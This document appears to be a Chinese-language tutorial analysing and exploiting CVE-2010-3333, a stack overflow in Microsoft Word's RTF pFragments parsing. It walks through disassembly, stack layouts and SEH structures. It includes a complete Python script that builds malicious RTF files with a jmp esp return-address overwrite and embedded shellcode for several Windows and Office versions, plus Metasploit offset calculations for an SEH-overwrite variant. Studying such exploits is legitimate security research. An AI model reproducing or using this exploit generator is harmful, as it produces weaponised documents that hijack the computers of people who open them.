  经过测试“pFragments”属性值数组参数中的el_size可以是除了“0,2,4,8”之外的任何10进制正整数,如果为“0,2,4,8”中的任意一个,都会造成Word奔溃。而el_count则无限制,任何10进制整数都可以,负的也行。
0x34 pFragments属性数据中“11111111acc8”的含义 环境:
  前面我们已经知道“11111111acc8”中的“acc8”为Word将pFragments属性数据复制到栈上的数据长度,可是为什么要偏移8字节呢,这8字节有什么限制吗?这些都是要搞清楚的。
  从前面对奔溃原因溯源的调试中可以知道,复制数据长度“0xc8ac”是从关键对象(0x066a55e0)的成员变量中取出的,所以,我们知道对其下内存写断点,就可以断在对此成员变量赋值的位置,也就是对“11111111acc8”进行解析的代码处。
找关键位置所用方法:
1、在Attach目标程序后,对0x066a55e0对象的第4个dword下内存写断点(0x066a55ec为复制长度0xc8ac所在对象成员变量的内存地址)。 
2、再运行程序,如果已经执行到之前调试奔溃时代码区域的最顶层函数sub_32E5955E,还未断下来,则关闭调试器,重新再来一遍。 
3、直到某一次程序对关键对象的地址分配到0x066a55e0,则会断在对关键对象初始化的位置,这时注意OllyDbg的信息窗口中的信息,是否是对关键对象0x066a55e0的第4个dword赋值复制数据长度“0xc8ac”,如果是,则已经定位到解析“11111111acc8”的代码处。 
4、然后根据调用堆栈,可以找到当前函数地址,以及当前函数的调用地址,及其父函数等等。 
 
 
  如此,我们已经找到解析“11111111acc8”的代码片段。“acc8”偏移8字节的原因以及这8字节是否有什么限制的代码应该就在附近,我们对找到的代码片段详细分析,画“<----”的为关键位置,处理后的结果如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 .text: 319C0631 loc_319C0631:                           .text: 319C0631                 lea      eax , [ebp +el_count]                  .text: 319C0634                 push     eax              .text: 319C0635                 push     1                .text: 319C0637                 push     [ebp +pMem]                                                                                                                                                                  .text: 319C063A                 call     ds :GlobalHandle                      .text: 319C0640                 push     eax              .text: 319C0641                 call     ds :CreateStreamOnHGlobal             .text: 319C0647                 mov      eax , [ebp +var_8]                     .text: 319C064A                 push     [ebp +el_count]                       .text: 319C064D                 mov      ecx , [eax ]                           .text: 319C064F                 push     eax                                   .text: 319C0650                 call     dword  ptr  [ecx +38h ]                          |       |         ↓       ↓     *********************************************************         所属模块: mso.dll         signed int  __stdcall sub_32E14136(int  a1, int  a2)     *********************************************************     .text: 32E14136                 push     ebp                                   .text: 32E14137                 mov      ebp , esp                              .text: 32E14139                 push     ecx                                   .text: 32E1413A                 push     ecx                                   .text: 32E1413B                 push     ebx                                   .text: 32E1413C                 mov      ebx , [ebp +arg_4]                     .text: 32E1413F                 push     esi                                   .text: 32E14140                 push     edi                                   .text: 32E14141                 lea      eax , [ebp +arg_4]                     .text: 32E14144                 push     eax                                   .text: 32E14145                 push     ebx                                   .text: 32E14146                 call     sub_33287CC1                         .text: 32E1414B                 test     eax , eax                              .text: 32E1414D                 jz       short loc_32E141C5                   .text: 32E1414F                 lea      eax , [ebp +var_4]                     .text: 32E14152                 push     eax                                   .text: 32E14153                 push     ebx                                   .text: 32E14154                 call     sub_33287CC1                         .text: 32E14159                 test     eax , eax                              .text: 32E1415B                 jz       short loc_32E141C5                   .text: 32E1415D                 lea      eax , [ebp +var_8]                     .text: 32E14160                 push     eax                                   .text: 32E14161                 push     ebx                                   .text: 32E14162                 call     sub_33287CC1                         .text: 32E14167                 test     eax , eax                              .text: 32E14169                 jz       short loc_32E141C5                   .text: 32E1416B                 mov      ax , word  ptr  [ebp +arg_4]             .text: 32E1416F                 cmp      ax , [ebp +var_4]                      .text: 32E14173                 ja       short loc_32E141C5                   .text: 32E14175                 mov      esi , [ebp +arg_0]                     .text: 32E14178                 push     dword  ptr  [esi +10h ]                  .text: 32E1417B                 call     _MsoFreePv@4         .text: 32E14180                 mov      ax , [ebp +var_8]                      .text: 32E14184                 mov      [esi +0Ch ], ax                         .text: 32E14188                 movzx    eax , [ebp +var_4]                     .text: 32E1418C                 push     eax                                   .text: 32E1418D                 push     4                                     .text: 32E1418F                 lea      edi , [esi +4 ]                         .text: 32E14192                 push     edi                                   .text: 32E14193                 call     MSO_501                              .text: 32E14198                 test     eax , eax                              .text: 32E1419A                 jz       short loc_32E141C5                   .text: 32E1419C                 movzx    eax , [ebp +var_8]                     .text: 32E141A0                 movzx    ecx , word  ptr  [ebp +arg_4]            .text: 32E141A4                 imul     eax , ecx                              .text: 32E141A7                 push     eax                                   .text: 32E141A8                 push     dword  ptr  [esi +10h ]                  .text: 32E141AB                 push     ebx                                   .text: 32E141AC                 call     sub_3277BE91                                 |       |             ↓       ↓         ******************************************************************             所属模块: mso.dll             signed int  __stdcall sub_3277BE91(int  a1, int  a2, int  a3)         ******************************************************************         .text: 3277BE91                 push     ebp                                       .text: 3277BE92                 mov      ebp , esp                                  .text: 3277BE94                 mov      eax , [ebp +arg_0]                         .text: 3277BE97                 mov      ecx , [eax ]                               .text: 3277BE99                 push     esi                                       .text: 3277BE9A                 mov      esi , [ebp +arg_8]                         .text: 3277BE9D                 lea      edx , [ebp +arg_0]                         .text: 3277BEA0                 push     edx                                       .text: 3277BEA1                 push     esi                                       .text: 3277BEA2                 push     [ebp +arg_4]                              .text: 3277BEA5                 push     eax                                       .text: 3277BEA6                 call     dword  ptr  [ecx +0Ch ]                                                                                                                                                                                                                                  .text: 3277BEA9                 test     eax , eax                                  .text: 3277BEAB                 jl       loc_32CE0534                             .text: 3277BEB1                 cmp      [ebp +arg_0], esi                          .text: 3277BEB4                 jnz      loc_32CE053B                                 |       |             ↓       ↓         .text: 32CE053B loc_32CE053B:                                   .text: 32CE053B                 xor      eax , eax                                  .text: 32CE053D                 jmp      loc_3277BEBD                                 |       |             ↓       ↓         .text: 3277BEBD loc_3277BEBD:                                   .text: 3277BEBD                 pop      esi                                       .text: 3277BEBE                 pop      ebp                                       .text: 3277BEBF                 retn     0Ch                                       |       |         ↓       ↓     .text: 32E141B1                 test     eax , eax                              .text: 32E141B3                 jz       short loc_32E141C5                       |       |         ↓       ↓     .text: 32E141C5 loc_32E141C5:                           .text: 32E141C5                                        .text: 32E141C5                 xor      eax , eax                              .text: 32E141C7                 jmp      short loc_32E141BE                       |       |         ↓       ↓     .text: 32E141BE loc_32E141BE:                               .text: 32E141BE                 pop      edi                                   .text: 32E141BF                 pop      esi                                   .text: 32E141C0                 pop      ebx                                   .text: 32E141C1                 leave     .text: 32E141C2                 retn     8 
  经过详细分析,我们可以看到,在sub_32E14136函数中三次调用sub_33287CC1函数,将“1111”、“1111”、“C8AC”分别解析出来,并对先解析出来的“1111”和后解析出来的“1111”进行比较,如果先解析出来的“1111”大于后解析出来的“1111”,则退出,不在执行后面的处理。这样看来,“11111111”中的前4个字节以小端序解析出来的数应该小于后4个字节以小端序解析出来的数,经过测试,“11112222”也是可行的。还有,在地址0x32E14184处的指令,将复制数据长度0xC8AC复制给了关键对象0x066A55E0的成员变量。
0x40 漏洞利用 0x41 方法一:覆盖返回地址 环境:
  触发异常的指令“30ED442C rep movsd”位于sub_30ED4406函数中,“rep movsd”指令复制内存数据时的目的地址,是通过sub_30ED4406函数的第二个参数传进来的,它其实是sub_30ED4406函数的父函数sub_30F0B5C2中定义的一个局部变量,所以pFragements属性值数据在栈上的起始地址位于父函数sub_30F0B5C2的栈帧中,我们要覆盖的也是父函数sub_30F0B5C2的返回地址。
  根据前面的分析我们可以知道,当执行到指令“30ED442C rep movsd”处时,栈布局是这样的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 .text: 30ED442C F3 A5        rep  movsd                                        栈数据:                                     001237B4   01C40824 <-esp                                      001237B8   001239A4                                     001237BC   30F0B5FB  返回到 mso.30F0B5FB                                     001237C0   01C40824                                     001237C4   001237DC                                     001237C8   00000000                                      001237CC   00000000                                      001237D0   00000000                                      001237D4   00000000                                      001237D8   0000FF35                                     001237DC   FFFF0000 <-pFragments缓冲区起始地址                                     001237E0   05000000                                      001237E4   00000000                                      001237E8   0000FFFF                                     001237EC   0012381C <-ebp                                      001237F0   30F0B56B  返回到 mso.30F0B56B 来自 mso.30F0B5C2 
  pFragments缓冲区起始地址距保存函数sub_30F0B5C2的返回地址的栈地址的偏移为0x14字节,所以在pFragments属性值中的复制长度之后再填充0x14字节数据,即可覆盖到返回地址。我们这里使用“jmp esp”指令的地址覆盖其返回地址。由于函数sub_30F0B5C2在返回时,会弹出0x14字节的栈空间,所以,返回地址之后不能直接放置Shellcode,需要填充0x14字节的垃圾数据,然后再放置Shellcode。这样,执行“jmp esp”指令的时候,就可以直接跳转到Shellcode执行了。
1 2 3 4 5 .text: 30F0B6B8 loc_30F0B6B8:                           .text: 30F0B6B8         pop      edi .text: 30F0B6B9         leave .text: 30F0B6BA         retn     14h  <----.text: 30F0B6BA sub_30F0B5C2 endp
  在写Exp的过程中,遇到一个问题。由于复制数据指令“30ED442C rep movsd”的位置距离函数sub_30F0B5C2的返回指令"30F0B6BA retn 14h"还有很多指令需要执行,但是栈已经被破坏了,所以可能会造成这些指令执行异常,我们需要构造关键的数据,使其可以成功执行到函数sub_30F0B5C2的返回指令"30F0B6BA retn 14h"。这些指令会访问调用函数sub_30F0B5C2时,压入栈的参数,也就是我们覆盖的函数sub_30F0B5C2的返回地址之后的0x14字节栈空间。如果我们全用“a”覆盖这片栈空间,就会造成异常,异常信息如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 *************************************************************************************************     所属模块: mso.dll     char __userpurge sub_30F0B5C2@<al >(int  a1@<eax >, int  a2, int  a3, int  a4, int  *a5, int  a6) ************************************************************************************************* ...... .text: 30F0B5F8         call     dword  ptr  [eax +1Ch ]              .text: 30F0B5FB         mov      eax , [ebp +arg_C]                 .text: 30F0B5FE         push     [ebp +arg_10]                     .text: 30F0B601         mov      edx , [ebp +var_10]                .text: 30F0B604         neg      eax                               .text: 30F0B606         sbb      eax , eax                          .text: 30F0B608         lea      ecx , [ebp +var_8]                 .text: 30F0B60B         and      eax , ecx                          .text: 30F0B60D         push     eax                               .text: 30F0B60E         push     [ebp +arg_0]                      .text: 30F0B611         call     sub_30F0B7AF                     .text: 30F0B616         test     al , al .text: 30F0B618         jz       loc_30F0B6B6        |       |         ↓       ↓     **********************************************************************************************         所属模块: mso.dll         char __userpurge sub_30F0B7AF@<al >(int  a1@<edx >, int  a2@<edi >, int  a3, int  a4, int  a5)     **********************************************************************************************     .text: 30F0B7AF         push     ebp                                   .text: 30F0B7B0         mov      ebp , esp                              .text: 30F0B7B2         sub      esp , 10h                              .text: 30F0B7B5         push     ebx                                   .text: 30F0B7B6         xor      ebx , ebx                              .text: 30F0B7B8         cmp      [ebp +arg_8], ebx                      .text: 30F0B7BB         jz       loc_310901D0                         .text: 30F0B7C1         cmp      edx , ebx                              .text: 30F0B7C3         mov      [ebp +lpMem], ebx                      .text: 30F0B7C6         jz       short loc_30F0B7D8                   .text: 30F0B7C8         lea      ecx , [ebp +lpMem]                     .text: 30F0B7CB         call     sub_30F0B90A                                 |       |             ↓       ↓         **************************************************************             所属模块: mso.dll             signed int  __fastcall sub_30F0B90A(LPVOID *a1, int  a2)         **************************************************************         .text: 30F0B90A sub_30F0B90A proc near                         .text: 30F0B90A                                                .text: 30F0B90A         lea      eax , (loc_30F0B914+4 )[edx *8 ]             .text: 30F0B911         mov      edx , [eax +4 ]                     
  由于pFragements属性值起始的第1个dword会被传进调用CrashFun(sub_30ED4406)函数的指令之后调用的sub_30F0B7AF函数,作为其参数,后面的程序会利用其生成一个不可访问的地址,造成内存访问异常。
  经过对函数sub_30F0B5C2和函数sub_30F0B7AF的伪代码进行分析,结果如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 char  __userpurge sub_30F0B5C2@<al>(int  a1@<eax>, int  a2, int  a3, int  a4, int  *a5, int  a6){     ......     if  ( a6 )      {         v7 = *(int  **)(sub_30D29EA3(*(_BYTE **)(a1 + 8 )) + 100 );         v17 = 0 ;         v8 = *v7;         v16 = 83886080 ;         (*(void  (__stdcall **)(int  *, int  *, int ))(v8 + 28 ))(v7, &v15, a3);                            result = sub_30F0B7AF(a2, a5 != 0  ? (unsigned  int )&v17 : 0 , a6);          if  ( result )          {             ......         }     }     else      {         sub_3144D83D();         result = 0 ;     }     return  result; } --------------------------------------------------------------------------------------------------------------- char  __userpurge sub_30F0B7AF@<al>(int  a1@<edx>, int  a2@<edi>, int  a3, int  a4, int  a5){     ......     if  ( !a5 )      {         sub_3144D83D();         return  0 ;     }     ...... } 
  所以我们只要让函数sub_30F0B5C2在栈上的第5个参数被修改为0x0,则可以让函数sub_30F0B5C2跳过执行完CrashFun(sub_30ED4406)函数之后可能需要执行的代码部分,直接返回。
环境:
  在Win7&Office2007的环境下,和XP&Office2003环境下,基本是一样的,只是关键函数的地址不一样。对应关系如下:1 2 3 4 5 +---------------------+--------------------+-------------------+ |   XP&Office2003     |   sub_30F0B5C2     |   sub_30F0B7AF    | |---------------------|--------------------|-------------------| |   Win7&Office2007   |   sub_32E5955E     |   sub_32E5941B    | +---------------------+--------------------+-------------------+ 
  还有就是所使用的ROPGadgets的地址不一样,也有可能ROPGadgets的地址是相同的,这种比较少。
Exp:1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 import  randomimport  structimport  binasciidef  generate_array_paramter () :    bad_sizes = (0 ,2 ,4 ,8 )     num = random.randint(0 ,9 )     while  num in  bad_sizes:         num = random.randint(0 ,9 )     return  num def  exploit (env) :    el_size = generate_array_paramter()      el_count = generate_array_paramter()      str1 = struct.pack('<H' ,0x1111 )     str1 = binascii.b2a_hex(str1)     str2 = struct.pack('<H' ,0x2222 )     str2 = binascii.b2a_hex(str2)     data = str1 + str2          length = struct.pack('<H' ,0x0130 )      length =  binascii.b2a_hex(length)      if  env == 0 :         jmp_esp = struct.pack('<I' ,0x7dc54e64 )          jmp_esp = binascii.b2a_hex(jmp_esp)     elif  env == 1 :         jmp_esp = struct.pack('<I' ,0x788281cb )          jmp_esp = binascii.b2a_hex(jmp_esp)     elif  env == 2 :         jmp_esp = struct.pack('<I' ,0x7ffa4512 )          jmp_esp = binascii.b2a_hex(jmp_esp)     shellcode = ("\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"                   "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"                   "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"                   "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"                   "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"                   "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x6e\x39"                   "\x78\x01\x68\x40\x53\x70\x34\x89\xe1\xfe\x49\x07\x31\xc0\x51"                   "\x50\xff\xd7" )      shellcode = binascii.b2a_hex(shellcode)     pFragments_value = "%d;%d;"  % (el_size,el_count)     pFragments_value += data     pFragments_value += length     pFragments_value += 'a' *0x14 *2      pFragments_value += jmp_esp     pFragments_value += 'a' *0x10 *2           pFragments_value += '0' *8       pFragments_value += shellcode     content = r"{\rtf1"      content += r"{\shp"      content += r"{\sp"      content += r"{\sn pfragments}"      content += r"{\sv %s"  % pFragments_value     content += r"}}}}"      print  len(content)     if  env == 0 :         with  open('CVE-2010-3333-ret2shellcode(XP_Office2003).rtf' ,'w' ) as  f:             f.write(content)     elif  env == 1 :         with  open('CVE-2010-3333-ret2shellcode(Win7_Office2007).rtf' ,'w' ) as  f:             f.write(content)             elif  env == 2 :         with  open('CVE-2010-3333-ret2shellcode-universal.rtf' ,'w' ) as  f:             f.write(content)  if  __name__ == '__main__' :                   env = 2      exploit(env) 
0x42 方法二:覆盖SEH记录 1、用户态的异常处理过程   本程序产生的异常属于用户态的异常。
用户态的异常处理过程:
1、如果发生异常的程序正在被调试,那么将异常信息发送给正在调试它的用户态调试器,给调试器第1次处理机会;如果没有被调试,跳过本步。 
2、如果不存在用户态调试器或调试器未处理该异常,那么在栈上放置EXCEPTION_RECORD和CONTEXT两个结构以及记录这两个结构位置的EXCEPTION_POINTERS结构,并将控制权返回给用户态ntdll.dll中的KiUserExceptionDispatcher函数,由它调用ntdll!RtlDispatchException函数进行用户态的异常处理。 
3、如果ntdll!RtlDispatchException函数在调用用户态的异常处理过程中未能处理该异常,那么异常处理过程会再次返回nt!KiDispatchException,它将再次把异常信息发送给用户态的调试器,给调试器第2次处理机会。如果没有调试器存在,则不会进行第2次分发,而是直接结束进程。 
4、如果第2次机会调试器仍不处理,nt!KiDispatchException会再次尝试把异常分发给进程的异常端口进行处理。该端口通常由子系统进程csrss.exe进行监听。子系统监听到该错误后,通常会显示一个“应用程序错误”对话框,用户可以单击“确定”按钮或者最后将其附加到调试器上的“取消”按钮。如果没有调试器能附加于其上,或者调试器还是处理不了异常,系统就调用ExitProcess函数来终结程序。 
5、在终结程序之前,系统会再次调用发生异常的线程中的所有异常处理过程,这是线程异常处理过程所获得的清理未释放资源的最后机会,此后程序就终结了。 
 
 
2、SEH相关数据结构 2.1、TIB结构   TIB(Thread Information Block,线程信息块)是保存线程基本信息的数据结构。在用户模式下,它位于TEB(Thread Environment Block,线程环境块)的头部,而TEB是操作系统为了保存每个线程的私有数据创建的,每个线程都有自己的TEB。在Windows 2000 DDK中(winnt.h),TIB的定义如下:
1 2 3 4 5 6 7 8 9 10 11 12 typedef  struct  _NT_TIB  {    struct  _EXCEPTION_REGISTRATION_RECORD  *ExceptionList ;     PVOID StackBase;                 PVOID StackLimit;                PVOID SubSystemTib;     union  {         PVOID FiberData;         DWORD Version;     };     PVOID ArbitraryUserPointer;     struct  _NT_TIB  *Self ; } NT_TIB; 
  虽然Windows系统经历了多次更新换代,但是从Windows 2000到Windows 10,TIB的结构变化很小。其中,与异常处理相关的项是指向EXCEPTION_REGISTRATION_RECORD结构的指针ExceptionList,它位于TIB的偏移0处,同时在TEB的偏移0处。在x86平台的用户模式下,Windows将FS段选择器指向当前线程的TEB数据,即TEB总是由fs:[0]指向的(在x64平台上,这个关系变成了gs:[0])。
2.2、_EXCEPTION_REGISTRATION_RECORD结构   TEB(或TIB)偏移量为0的_EXCEPTION_REGISTRATION_RECORD主要是用于描述线程异常处理过程的地址,多个该结构的链表描述了多个线程异常处理过程的嵌套层次关系,其定义如下:
1 2 3 4 typedef  struct  _EXCEPTION_REGISTRATION_RECORD  {    struct  _EXCEPTION_REGISTRATION_RECORD  *Next ;     PEXCEPTION_ROUTINE Handler;                      } EXCEPTION_REGISTRATION_RECORD; 
  其中,“Next”是指向下一个_EXCEPTION_REGISTRATION_RECORD结构(简称:“ERR”)的指针,形成一链状结构,而链表头就存放在fs:[0]指向的TEB(或TIB)中;“Handler”指向异常处理回调函数。当程序运行过程中产生异常时,系统的异常分发器就会从fs:[0]处取得异常处理的链表头,然后查找异常处理链表并依次调用各个链表节点中的异常处理回调函数。由于TEB是线程的私有数据结构,相应的,每个线程也都有自己的异常处理链表,即SEH机制的作用范围仅限于当前线程。从数据结构的角度来讲,SEH链就是一个只允许在链表头部进行增加和删除节点操作的单向链表,且链表头部永远保存在fs:[0]指向的TEB(或TIB)中。
  下图就是SEH异常处理链表的示意图:
2.3、_EXCEPTION_RECORD结构   各个异常处理函数除了针对本异常的特定处理之外,通常会将异常信息进行封装,以便进行后续处理。封装异常信息的结构就是_EXCEPTION_RECORD,该结构定义如下(winnt.h):
1 2 3 4 5 6 7 8 typedef  struct  _EXCEPTION_RECORD  {    DWORD    ExceptionCode;                              DWORD ExceptionFlags;                                struct  _EXCEPTION_RECORD  *ExceptionRecord ;     PVOID ExceptionAddress;                              DWORD NumberParameters;                              ULONG_PTR ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];        } EXCEPTION_RECORD; 
常见的异常产生原因:
异常产生原因 
对应值 
说明 
 
 
STATUS_GUARD_PAGE_VIOLATION 
080000001h 
读写属性为PAGE_GUARD的页面 
 
EXCEPTION_BREAKPOINT 
080000003h 
断点异常 
 
EXCEPTION_SINGLE_STEP 
080000004h 
单步中断 
 
EXCEPTION_INVALID_HANDLE 
0C0000008h 
向一个函数传递了一个无效句柄 
 
EXCEPTION_INVALID_VIOLATION 
0C0000005h 
读写内存违规 
 
EXCEPTION_ILLEGAL_INSTRUCTION 
0C000001Dh 
遇到无效指令 
 
EXCEPTION_IN_PAGE_ERROR 
0C0000006h 
存取不存在的页面 
 
EXCEPTION_INT_DIVIDE_BY_ZERO 
0C0000094h 
除0错误 
 
EXCEPTION_STACK_OVERFLOW 
0C00000FDh 
栈溢出 
 
 
2.4、_CONTEXT结构   异常处理函数除了将一部分异常信息封装成_EXCEPTION_RECORD,还将另一部分异常信息封装成陷阱帧,它精确描述了发生异常时线程的状态(Windows的任务调度是基于线程的)。该结构与处理器高度相关,因此在不同的平台上(Intel x86/x64、MIPS、Alpha和PowerPC处理器等)有不同的定义。其结构中包含每个寄存器的状态,但该结构一般仅供系统内核自身或者调试系统使用。当需要把控制权交给用户注册的异常处理程序时,会将上述结构转换成一个名为CONTEXT的结构,它包含线程运行时处理器各主要寄存器的完整镜像,用于保存线程运行环境。
  x86平台上的CONTEXT结构如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 typedef  struct  DECLSPEC_NOINITALL  _CONTEXT  {         DWORD ContextFlags;          DWORD   Dr0;     DWORD   Dr1;     DWORD   Dr2;     DWORD   Dr3;     DWORD   Dr6;     DWORD   Dr7;          FLOATING_SAVE_AREA FloatSave;          DWORD   SegGs;     DWORD   SegFs;     DWORD   SegEs;     DWORD   SegDs;          DWORD   Edi;     DWORD   Esi;     DWORD   Ebx;     DWORD   Edx;     DWORD   Ecx;     DWORD   Eax;          DWORD   Ebp;     DWORD   Eip;     DWORD   SegCs;                   DWORD   EFlags;                  DWORD   Esp;     DWORD   SegSs;          BYTE    ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION]; } CONTEXT; 
  该结构的大部分是不言自明的。需要解释的是,其第一个域ContextFlags表示该结构中哪些域有效,当需要CONTEXT结构保存的信息恢复执行时可对应更新,这为有选择的更新部分域而非全部域提供了有效的手段。
1 2 3 4 5 6 7 8 9 #define  CONTEXT_i386    0x00010000L     #define  CONTEXT_i486    0x00010000L     #define  CONTEXT_CONTROL             (CONTEXT_i386 | 0x00000001L)  #define  CONTEXT_INTEGER             (CONTEXT_i386 | 0x00000002L)  #define  CONTEXT_SEGMENTS            (CONTEXT_i386 | 0x00000004L)  #define  CONTEXT_FLOATING_POINT      (CONTEXT_i386 | 0x00000008L)  #define  CONTEXT_DEBUG_REGISTERS     (CONTEXT_i386 | 0x00000010L)  #define  CONTEXT_EXTENDED_REGISTERS  (CONTEXT_i386 | 0x00000020L)  
2.5、_EXCEPTION_POINTERS结构   当一个异常发生时,在没有调试器干预的情况下,操作系统会将异常信息转交给用户态的异常处理过程。实际上,由于同一个线程在用户态和内核态使用的是两个不同的栈,为了让用户态的异常处理程序能够访问与异常相关的数据,操作系统必须把与本次异常相关联的_EXCEPTION_RECORD结构和_CONTEXT结构放到用户栈中,同时在栈上放置一个_EXCEPTION_POINTERS结构,它包含两个指针,一个指向_EXCEPTION_RECORD结构,另一个指向_CONTEXT结构。
1 2 3 4 typedef  struct  _EXCEPTION_POINTERS  {  PEXCEPTION_RECORD ExceptionRecord;               PCONTEXT          ContextRecord;               } EXCEPTION_POINTERS, *PEXCEPTION_POINTERS; 
3、计算偏移量 环境:
  既然我们要覆盖SEH记录,就要搞清楚,覆盖栈数据之前,栈上有哪些SEH记录,以及它们的位置。在复制pFragments属性数据到栈上之前,栈上的SEH记录如下(CVE-2010-3333(target6,Crash).rtf):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34                        +----------+ fs:[0] ---> 0x0012FFB0 | 0012FFE0 |--+ 指向下一个SEH记录的指针                        +----------+  |              0x0012FFB4 | 30AA1ABC |  | SE处理程序                        +----------+  |                        |          |  |                ......  |  ......  |  |                        |          |  |                        +----------+  |             0x0012FFE0 | FFFFFFFF |<-+ SEH链尾部                        +----------+             0x0012FFE4 | 7C839AB0 |    SE处理程序                        +----------+ ------------------------------------------------------------------------ # Office v11.8307.8324, winword.exe v11.0.8307.0 # Office v11.8328.8221, winword.exe v11.0.8328.0 [ 'Microsoft Office 2003 SP3 English on Windows XP SP3 English',     {         'Offsets' => [ 24580, 51156 ],         'Ret' => 0x30001bdd # p/p/r in winword.exe     } ], ------------------------------------------------------------------------ 0x001237DC pFragments缓冲区起始地址 ...... 0x001297E0 0x6E46336E 并不是SEH记录(0x001297E0-0x001237DC=24580) ...... 0x0012FFB0 0x4E32704E SEH记录(0x0012FFB0-0x001237DC=51156) ...... 0x0012FFE0 0x4E38714E SEH链尾部 
  我们可以看到在Metasploit的生成样本的脚本中,当前所使用的环境对应的Target中,有两个偏移,51156正是当前SEH链表的第1个SEH记录(0x0012FFB0)距pFragments缓冲区起始地址(0x001237DC)的偏移,而24580所对应的栈数据并不是SEH链表中的SEH记录,不太清楚为什么,实际控制流劫持过程中也没用到此处的数据。
  覆盖栈数据之后,原本的SEH链表被覆盖,覆盖之后的SEH链表如下:
1 2 3 4 5 6 7 8 9 10 11 12 13                        +----------+ fs:[0] ---> 0x0012FFB0 | 4E32704E |    指向下一个SEH记录的指针                        +----------+                0x0012FFB4 | 704E3370 |    SE处理程序                        +----------+                          |          |                  ......  |  ......  |                          |          |                          +----------+                0x0012FFE0 | 4E38714E |    SEH链尾部                        +----------+             0x0012FFE4 | 724E3971 |    SE处理程序                        +----------+ 
  在这里计算偏移量时,有两种方法。方法一,手算,只要知道缓冲区的起始地址以及SEH记录的位置就可以算出偏移。方法二,使用Metasploit提供的两个工具,pattern_creat.rb和pattern_offset.rb。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 root@kali:/usr/share/metasploit-framework/tools/exploit Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9 ....... 6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc root@kali:/usr/share/metasploit-framework/tools/exploit [*] Exact match at offset 4300 [*] Exact match at offset 24580 <---- [*] Exact match at offset 44860 [*] Exact match at offset 65140 root@kali:/usr/share/metasploit-framework/tools/exploit [*] Exact match at offset 10596 [*] Exact match at offset 30876 [*] Exact match at offset 51156 <---- 
4、SEH劫持过程分析 环境:
  通过msf生成样本的脚本可知,当前环境所使用的用于覆盖SEH处理程序地址的地址为0x30001bdd,其位于winword.exe。我们使用WinDbg对CVE-2010-3333(target2,calc).rtf进行调试,首先对地址0x30001bdd下一个断点,然后查看栈回溯,通过栈回溯了解SEH劫持的过程。
